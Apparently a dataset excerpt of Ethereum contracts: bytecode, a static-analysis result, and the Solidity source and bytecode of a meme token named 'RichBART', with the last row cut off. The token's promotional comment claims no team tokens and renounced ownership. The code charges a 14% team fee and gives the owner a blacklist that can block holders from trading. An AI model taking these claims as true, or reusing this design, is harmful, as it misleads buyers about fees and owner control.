3611d9e565b7f5761643a3a64656c656761746542795369673a207369676e61747572652065788152641c1a5c995960da1b602082015260400192915050565b6000611773601e83611d9e565b7f5761643a3a7065726d69743a20696e76616c6964207369676e61747572650000815260200192915050565b60006117ac603983611d9e565b7f5761643a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726181527f6e7366657220746f20746865207a65726f206164647265737300000000000000602082015260400192915050565b600061180b600283611da7565b61190160f01b815260020192915050565b6000611829605283611da7565b7f5065726d69742861646472657373206f776e65722c616464726573732073706581527f6e6465722c75696e743235362076616c75652c75696e74323536206e6f6e63656020820152712c75696e7432353620646561646c696e652960701b604082015260520192915050565b60006118a3603b83611d9e565b7f5761643a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726181527f6e736665722066726f6d20746865207a65726f20616464726573730000000000602082015260400192915050565b6000611902602583611d9e565b7f5761643a3a64656c656761746542795369673a20696e76616c6964207369676e815264617475726560d81b602082015260400192915050565b6000611949601e83611d9e565b7f5761643a3a7065726d69743a207369676e617475726520657870697265640000815260200192915050565b6000611982604383611da7565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b60006119ed601983611d9e565b7f5761643a3a7065726d69743a20756e617574686f72697a656400000000000000815260200192915050565b6000611a26602183611d9e565b7f5761643a3a64656c656761746542795369673a20696e76616c6964206e6f6e638152606560f81b602082015260400192915050565b6000611a69603a83611da7565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b6000611ac8602683611d9e565b7f5761643a3a6765745072696f72566f7465733a206e6f742079657420646574658152651c9b5a5b995960d21b602082015260400192915050565b6116be81611dcb565b6116be81611dd4565b6116be81611de6565b6116be81611dda565b6000611b32826117fe565b9150611b3e82856116d6565b602082019150611b4e82846116d6565b5060200192915050565b60006103cf8261181c565b60006103cf82611975565b60006103cf82611a5c565b602081016103cf82846116b5565b602081016103cf82846116c4565b602081016103cf82846116cd565b60c08101611bb182896116cd565b611bbe60208301886116b5565b611bcb60408301876116b5565b611bd860608301866116cd565b611be560808301856116cd565b611bf260a08301846116cd565b979650505050505050565b60808101611c0b82876116cd565b611c1860208301866116b5565b611c2560408301856116cd565b611c3260608301846116cd565b95945050505050565b60808101611c4982876116cd565b611c5660208301866116cd565b611c6360408301856116cd565b611c3260608301846116b5565b60808101611c7e82876116cd565b611c186020830186611b0c565b6020808252810161053981846116e7565b602080825281016103cf8161171f565b602080825281016103cf81611766565b602080825281016103cf8161179f565b602080825281016103cf81611896565b602080825281016103cf816118f5565b602080825281016103cf8161193c565b602080825281016103cf816119e0565b602080825281016103cf81611a19565b602080825281016103cf81611abb565b602081016103cf8284611b03565b60408101611d488285611b03565b6105396020830184611b1e565b602081016103cf8284611b0c565b602081016103cf8284611b15565b602081016103cf8284611b1e565b60408101611d8d8285611b15565b6105396020830184611b15565b5190565b90815260200190565b919050565b60006103cf82611dbf565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b60006103cf82611dda565b60005b83811015611e0c578181015183820152602001611df4565b838111156110925750506000910152565b601f01601f191690565b611e3081611dac565b811461057657600080fd5b611e3081611dbc565b611e3081611dcb565b611e3081611dd456fe5761643a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77735761643a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77735761643a3a7065726d69743a20616d6f756e74206578636565647320393620626974735761643a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77735761643a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974735761643a3a617070726f76653a20616d6f756e74206578636565647320393620626974735761643a3a7472616e736665723a20616d6f756e74206578636565647320393620626974735761643a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63655761643a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a365627a7a7231582065bbab498bc81e9938ace6bb30687f3fa16595b51d961abe8a3f8221bb242fb46c6578706572696d656e74616cf564736f6c63430005100040 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 9,860 |
0xb49307715963bfc5fddfbf1e305d8f03303dfd77 | /*
GUESS WHO GOT RICH IN CRYPTO!?
╔═══╗───╔╗─╔══╗╔═══╦═══╦════╗
║╔═╗║───║║─║╔╗║║╔═╗║╔═╗║╔╗╔╗║
║╚═╝╠╦══╣╚═╣╚╝╚╣║─║║╚═╝╠╝║║╚╝
║╔╗╔╬╣╔═╣╔╗║╔═╗║╚═╝║╔╗╔╝─║║
║║║╚╣║╚═╣║║║╚═╝║╔═╗║║║╚╗─║║
╚╝╚═╩╩══╩╝╚╩═══╩╝─╚╩╝╚═╝─╚╝
t.me/RichBartSimpson
BART SIMPSON!
He’s the biggest crypto baller in Springfield-- Mr. Burns now works for Bart!
Symbol: RichBART
Total Supply: 1,000,000,000,000
Decimals: 9
50% Burn, 50% LP
No pre-sale
No team & marketing tokens
Locked Liquidity
Renounced ownership
Reflection % to holders
1,000,000,000,000 Total Supply
50% Burn INSTANTLY
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RichBART is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "t.me/RichBartSimpson";
string private constant _symbol = 'RichBART';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 14;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b03813516906020013561052f565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b5061020561054d565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b0381358116916020810135909116906040013561055a565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105e1565b005b34801561029b57600080fd5b506102a461065a565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b5035151561065f565b3480156102f257600080fd5b5061028d6106d5565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610709565b34801561033a57600080fd5b5061028d610773565b34801561034f57600080fd5b50610358610815565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e610824565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b038135169060200135610846565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061085a945050505050565b34801561047e57600080fd5b5061028d61090e565b34801561049357600080fd5b5061028d61094b565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d32565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e37565b6040805180820190915260148152733a1736b297a934b1b42130b93a29b4b6b839b7b760611b602082015290565b600061054361053c610e62565b8484610e66565b5060015b92915050565b683635c9adc5dea0000090565b6000610567848484610f52565b6105d784610573610e62565b6105d285604051806060016040528060288152602001611fc9602891396001600160a01b038a166000908152600460205260408120906105b1610e62565b6001600160a01b031681526020810191909152604001600020549190611328565b610e66565b5060019392505050565b6105e9610e62565b6000546001600160a01b03908116911614610639576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff1833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610667610e62565b6000546001600160a01b039081169116146106b7576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff1833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106e9610e62565b6001600160a01b0316146106fc57600080fd5b47610706816113bf565b50565b6001600160a01b03811660009081526006602052604081205460ff161561074957506001600160a01b03811660009081526003602052604090205461076e565b6001600160a01b03821660009081526002602052604090205461076b90611444565b90505b919050565b61077b610e62565b6000546001600160a01b039081169116146107cb576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff1833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b604080518082019091526008815267149a58da1090549560c21b602082015290565b6000610543610853610e62565b8484610f52565b610862610e62565b6000546001600160a01b039081169116146108b2576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff1833981519152604482015290519081900360640190fd5b60005b815181101561090a576001600760008484815181106108d057fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108b5565b5050565b6010546001600160a01b0316610922610e62565b6001600160a01b03161461093557600080fd5b600061094030610709565b9050610706816114a4565b610953610e62565b6000546001600160a01b039081169116146109a3576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff1833981519152604482015290519081900360640190fd5b601354600160a01b900460ff1615610a02576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a4b9030906001600160a01b0316683635c9adc5dea00000610e66565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8457600080fd5b505afa158015610a98573d6000803e3d6000fd5b505050506040513d6020811015610aae57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610afe57600080fd5b505afa158015610b12573d6000803e3d6000fd5b505050506040513d6020811015610b2857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b7a57600080fd5b505af1158015610b8e573d6000803e3d6000fd5b505050506040513d6020811015610ba457600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bd681610709565b600080610be1610815565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c4c57600080fd5b505af1158015610c60573d6000803e3d6000fd5b50505050506040513d6060811015610c7757600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d0357600080fd5b505af1158015610d17573d6000803e3d6000fd5b505050506040513d6020811015610d2d57600080fd5b505050565b610d3a610e62565b6000546001600160a01b03908116911614610d8a576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff1833981519152604482015290519081900360640190fd5b60008111610ddf576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610dfd6064610df7683635c9adc5dea0000084611672565b906116cb565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610eab5760405162461bcd60e51b815260040180806020018281038252602481526020018061205f6024913960400191505060405180910390fd5b6001600160a01b038216610ef05760405162461bcd60e51b8152600401808060200182810382526022815260200180611f866022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f975760405162461bcd60e51b815260040180806020018281038252602581526020018061203a6025913960400191505060405180910390fd5b6001600160a01b038216610fdc5760405162461bcd60e51b8152600401808060200182810382526023815260200180611f396023913960400191505060405180910390fd5b6000811161101b5760405162461bcd60e51b81526004018080602001828103825260298152602001806120116029913960400191505060405180910390fd5b611023610815565b6001600160a01b0316836001600160a01b03161415801561105d5750611047610815565b6001600160a01b0316826001600160a01b031614155b156112cb57601354600160b81b900460ff1615611157576001600160a01b038316301480159061109657506001600160a01b0382163014155b80156110b057506012546001600160a01b03848116911614155b80156110ca57506012546001600160a01b03838116911614155b15611157576012546001600160a01b03166110e3610e62565b6001600160a01b0316148061111257506013546001600160a01b0316611107610e62565b6001600160a01b0316145b611157576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561116657600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111a857506001600160a01b03821660009081526007602052604090205460ff16155b6111b157600080fd5b6013546001600160a01b0384811691161480156111dc57506012546001600160a01b03838116911614155b801561120157506001600160a01b03821660009081526005602052604090205460ff16155b80156112165750601354600160b81b900460ff165b1561125e576001600160a01b038216600090815260086020526040902054421161123f57600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061126930610709565b601354909150600160a81b900460ff1615801561129457506013546001600160a01b03858116911614155b80156112a95750601354600160b01b900460ff165b156112c9576112b7816114a4565b4780156112c7576112c7476113bf565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061130d57506001600160a01b03831660009081526005602052604090205460ff165b15611316575060005b6113228484848461170d565b50505050565b600081848411156113b75760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561137c578181015183820152602001611364565b50505050905090810190601f1680156113a95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113d98360026116cb565b6040518115909202916000818181858888f19350505050158015611401573d6000803e3d6000fd5b506011546001600160a01b03166108fc61141c8360026116cb565b6040518115909202916000818181858888f1935050505015801561090a573d6000803e3d6000fd5b6000600a548211156114875760405162461bcd60e51b815260040180806020018281038252602a815260200180611f5c602a913960400191505060405180910390fd5b6000611491611829565b905061149d83826116cb565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114e557fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561153957600080fd5b505afa15801561154d573d6000803e3d6000fd5b505050506040513d602081101561156357600080fd5b505181518290600190811061157457fe5b6001600160a01b03928316602091820292909201015260125461159a9130911684610e66565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156116205